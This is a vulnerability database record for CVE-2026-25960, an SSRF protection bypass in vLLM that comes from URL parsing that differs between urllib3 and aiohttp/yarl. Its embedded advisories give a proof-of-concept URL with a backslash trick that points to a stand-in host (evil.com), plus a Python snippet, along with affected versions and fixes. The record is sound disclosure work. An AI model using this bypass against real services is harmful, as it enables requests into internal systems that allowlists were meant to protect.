{"id":"CVE-2026-25960","aliases":["EUVD-2026-10356","GHSA-v359-jj2v-j536","PYSEC-2026-3411"],"status":"published","title":"SSRF Protection Bypass in vLLM","description":"vLLM is an inference and serving engine for large language models (LLMs). The SSRF protection fix for CVE-2026-24779 add in 0.15.1 can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client. The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing. This vulnerability in 0.17.0.","severity":{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00605,"percentile":0.49259,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-474","CWE-918"],"published":"2026-03-09T19:55:32Z","modified":"2026-10-28T02:30:44Z","fixes":[{"ecosystem":"PyPI","package":"vllm","fixed_in":["0.17.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"vllm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.15.1"},{"fixed":"0.17.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"vllm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.15.1"},{"fixed":"0.17.0"}]}],"versions":["0.15.1","0.16.0"]},{"source":"osv","ecosystem":"PyPI","package":"vllm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.15.1"},{"fixed":"0.17.0"}]}],"versions":["0.15.1","0.16.0"]}],"products":[{"vendor":"red hat","product":"red hat ai inference server"},{"vendor":"red hat","product":"red hat enterprise linux ai (rhel ai) 3"},{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat openshift ai 2.25"},{"vendor":"vllm","product":"vllm"},{"vendor":"vllm-project","product":"vllm"}],"references":[{"url":"https://github.com/vllm-project/vllm/security/advisories/GHSA-v359-jj2v-j536","tags":["x_refsource_CONFIRM","Exploit","Patch","Vendor Advisory","advisory","web"]},{"url":"https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc","tags":["x_refsource_MISC","Not Applicable","advisory","web"]},{"url":"https://github.com/vllm-project/vllm/pull/34743","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/vllm-project/vllm/commit/6f3b2047abd4a748e3db4a68543f8221358002c0","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-25960","tags":["vdb-entry","x_refsource_REDHAT","advisory","web"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445892","tags":["issue-tracking","x_refsource_REDHAT","report","web"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25960.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:42644","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24977","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25960","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-v359-jj2v-j536","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-3411.yaml","tags":["web"]},{"url":"https://github.com/vllm-project/vllm","tags":["package"]},{"url":"https://pypi.org/project/vllm","tags":["web","package"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25960.json","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-25960","title":"SSRF Protection Bypass in vLLM","description":"vLLM is an inference and serving engine for large language models (LLMs). The SSRF protection fix for CVE-2026-24779 add in 0.15.1 can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client. The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing. This vulnerability in 0.17.0.","status":"published","published":"2026-03-09T21:01:01.827Z","modified":"2026-07-21T12:04:57.697Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","level":"high","assessor":"cna"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","level":"high","assessor":"adp"}],"cwes":["CWE-918","CWE-474"],"updated_at":"2026-11-02T13:41:19.694734Z"}],"euvd":[{"id":"EUVD-2026-10356","description":"vLLM is an inference and serving engine for large language models (LLMs). The SSRF protection fix for CVE-2026-24779 add in 0.15.1 can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client. The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing. This vulnerability in 0.17.0.","status":"published","published":"2026-03-09T21:01:01Z","modified":"2026-07-21T12:04:57Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","level":"high"}],"updated_at":"2026-11-02T18:19:47.959089Z"}],"ghsa":[{"id":"GHSA-v359-jj2v-j536","title":"vLLM has SSRF Protection Bypass","description":"## Summary\n\nThe SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the `load_from_url_async` method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.\n\n## Affected Component\n\n- **File**: `vllm/connections.py`\n- **Function**: `load_from_url_async`\n\n## Vulnerability Details\n\n### Root Cause\n\nThe SSRF [fix](https://github.com/vllm-project/vllm/pull/32746) uses `urllib3.util.parse_url()` to validate and extract the hostname from user-provided URLs. However, `load_from_url_async` uses `aiohttp` for making the actual HTTP requests, and `aiohttp` internally uses the `yarl` library for URL parsing.\n\nThese two URL parsers handle backslash characters (`\\`) differently:\n\n| Parser | Input URL | Parsed Host | Parsed Path | Behavior |\n|--------|-----------|-------------|-------------|----------|\n| `urllib3.parse_url()` | `https://httpbin.org\\@evil.com/` | `httpbin.org` | `/%5C@evil.com/` | URL-encodes `\\` as `%5C`, treats `\\@evil.com/` as part of the path |\n| `yarl` (via aiohttp) | `https://httpbin.org\\@evil.com/` | `evil.com` | `/` | Treats `\\` as part of userinfo (`user: httpbin.org\\`), the `@` acts as the userinfo/host separator |\n\n### Attack Scenario\n\n```python\n# Attacker provides this URL\nmalicious_url = \"https://httpbin.org\\\\@evil.com/\"\n\n# 1. Validation layer (urllib3.parse_url)\nparsed = urllib3.util.parse_url(malicious_url)\n# parsed.host == \"httpbin.org\"  ✅ Passes validation\n\n# 2. Actual request (aiohttp with yarl)\nasync with aiohttp.ClientSession() as session:\n    async with session.get(malicious_url) as response:\n        # Request actually goes to evil.com!  ❌ Bypass!\n```\n\n### Why This Happens\n\n1. **yarl**: Interprets `httpbin.org\\` as the userinfo component, and `@` as the userinfo/host separator, so the URL is parsed as `user=httpbin.org\\`, `host=evil.com`, `path=/`\n2. **urllib3**: URL-encodes the backslash as `%5C`, so `\\@evil.com/` becomes `/%5C@evil.com/` which is treated as part of the path, leaving `host=httpbin.org`\n\nThis inconsistency allows an attacker to:\n- Bypass the hostname allowlist check\n- Access arbitrary internal/external services\n- Perform full SSRF attacks\n\n## Fixes\n\n- https://github.com/vllm-project/vllm/pull/34743","status":"published","published":"2026-03-09T19:55:32Z","modified":"2026-07-17T16:17:47Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:44.915484Z"}],"nvd":[{"id":"CVE-2026-25960","description":"vLLM is an inference and serving engine for large language models (LLMs). The SSRF protection fix for CVE-2026-24779 add in 0.15.1 can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client. The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing. This vulnerability in 0.17.0.","status":"published","published":"2026-03-09T21:16:15.537Z","modified":"2026-07-21T12:17:46.68Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","level":"high","assessor":"secondary"}],"cwes":["CWE-918","CWE-474"],"updated_at":"2026-11-02T14:12:08.279852Z"}],"osv":[{"id":"CVE-2026-25960","title":"SSRF Protection Bypass in vLLM","description":"vLLM is an inference and serving engine for large language models (LLMs). The SSRF protection fix for CVE-2026-24779 add in 0.15.1 can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client. The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing. This vulnerability in 0.17.0.","status":"published","published":"2026-03-09T21:01:01.827Z","modified":"2026-10-28T02:30:44.704801332Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:44:59.80315Z"},{"id":"GHSA-v359-jj2v-j536","title":"vLLM has SSRF Protection Bypass","description":"## Summary\n\nThe SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the `load_from_url_async` method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.\n\n## Affected Component\n\n- **File**: `vllm/connections.py`\n- **Function**: `load_from_url_async`\n\n## Vulnerability Details\n\n### Root Cause\n\nThe SSRF [fix](https://github.com/vllm-project/vllm/pull/32746) uses `urllib3.util.parse_url()` to validate and extract the hostname from user-provided URLs. However, `load_from_url_async` uses `aiohttp` for making the actual HTTP requests, and `aiohttp` internally uses the `yarl` library for URL parsing.\n\nThese two URL parsers handle backslash characters (`\\`) differently:\n\n| Parser | Input URL | Parsed Host | Parsed Path | Behavior |\n|--------|-----------|-------------|-------------|----------|\n| `urllib3.parse_url()` | `https://httpbin.org\\@evil.com/` | `httpbin.org` | `/%5C@evil.com/` | URL-encodes `\\` as `%5C`, treats `\\@evil.com/` as part of the path |\n| `yarl` (via aiohttp) | `https://httpbin.org\\@evil.com/` | `evil.com` | `/` | Treats `\\` as part of userinfo (`user: httpbin.org\\`), the `@` acts as the userinfo/host separator |\n\n### Attack Scenario\n\n```python\n# Attacker provides this URL\nmalicious_url = \"https://httpbin.org\\\\@evil.com/\"\n\n# 1. Validation layer (urllib3.parse_url)\nparsed = urllib3.util.parse_url(malicious_url)\n# parsed.host == \"httpbin.org\"  ✅ Passes validation\n\n# 2. Actual request (aiohttp with yarl)\nasync with aiohttp.ClientSession() as session:\n    async with session.get(malicious_url) as response:\n        # Request actually goes to evil.com!  ❌ Bypass!\n```\n\n### Why This Happens\n\n1. **yarl**: Interprets `httpbin.org\\` as the userinfo component, and `@` as the userinfo/host separator, so the URL is parsed as `user=httpbin.org\\`, `host=evil.com`, `path=/`\n2. **urllib3**: URL-encodes the backslash as `%5C`, so `\\@evil.com/` becomes `/%5C@evil.com/` which is treated as part of the path, leaving `host=httpbin.org`\n\nThis inconsistency allows an attacker to:\n- Bypass the hostname allowlist check\n- Access arbitrary internal/external services\n- Perform full SSRF attacks\n\n## Fixes\n\n- https://github.com/vllm-project/vllm/pull/34743","status":"published","published":"2026-03-09T19:55:32Z","modified":"2026-07-17T16:30:28.979577328Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:56.639206Z"},{"id":"PYSEC-2026-3411","title":"vLLM has SSRF Protection Bypass","description":"## Summary\n\nThe SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the `load_from_url_async` method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.\n\n## Affected Component\n\n- **File**: `vllm/connections.py`\n- **Function**: `load_from_url_async`\n\n## Vulnerability Details\n\n### Root Cause\n\nThe SSRF [fix](https://github.com/vllm-project/vllm/pull/32746) uses `urllib3.util.parse_url()` to validate and extract the hostname from user-provided URLs. However, `load_from_url_async` uses `aiohttp` for making the actual HTTP requests, and `aiohttp` internally uses the `yarl` library for URL parsing.\n\nThese two URL parsers handle backslash characters (`\\`) differently:\n\n| Parser | Input URL | Parsed Host | Parsed Path | Behavior |\n|--------|-----------|-------------|-------------|----------|\n| `urllib3.parse_url()` | `https://httpbin.org\\@evil.com/` | `httpbin.org` | `/%5C@evil.com/` | URL-encodes `\\` as `%5C`, treats `\\@evil.com/` as part of the path |\n| `yarl` (via aiohttp) | `https://httpbin.org\\@evil.com/` | `evil.com` | `/` | Treats `\\` as part of userinfo (`user: httpbin.org\\`), the `@` acts as the userinfo/host separator |\n\n### Attack Scenario\n\n```python\n# Attacker provides this URL\nmalicious_url = \"https://httpbin.org\\\\@evil.com/\"\n\n# 1. Validation layer (urllib3.parse_url)\nparsed = urllib3.util.parse_url(malicious_url)\n# parsed.host == \"httpbin.org\"  ✅ Passes validation\n\n# 2. Actual request (aiohttp with yarl)\nasync with aiohttp.ClientSession() as session:\n    async with session.get(malicious_url) as response:\n        # Request actually goes to evil.com!  ❌ Bypass!\n```\n\n### Why This Happens\n\n1. **yarl**: Interprets `httpbin.org\\` as the userinfo component, and `@` as the userinfo/host separator, so the URL is parsed as `user=httpbin.org\\`, `host=evil.com`, `path=/`\n2. **urllib3**: URL-encodes the backslash as `%5C`, so `\\@evil.com/` becomes `/%5C@evil.com/` which is treated as part of the path, leaving `host=httpbin.org`\n\nThis inconsistency allows an attacker to:\n- Bypass the hostname allowlist check\n- Access arbitrary internal/external services\n- Perform full SSRF attacks\n\n## Fixes\n\n- https://github.com/vllm-project/vllm/pull/34743","status":"published","published":"2026-07-13T14:36:41.65682Z","modified":"2026-07-13T16:32:59.51598672Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:56.847083Z"}]}}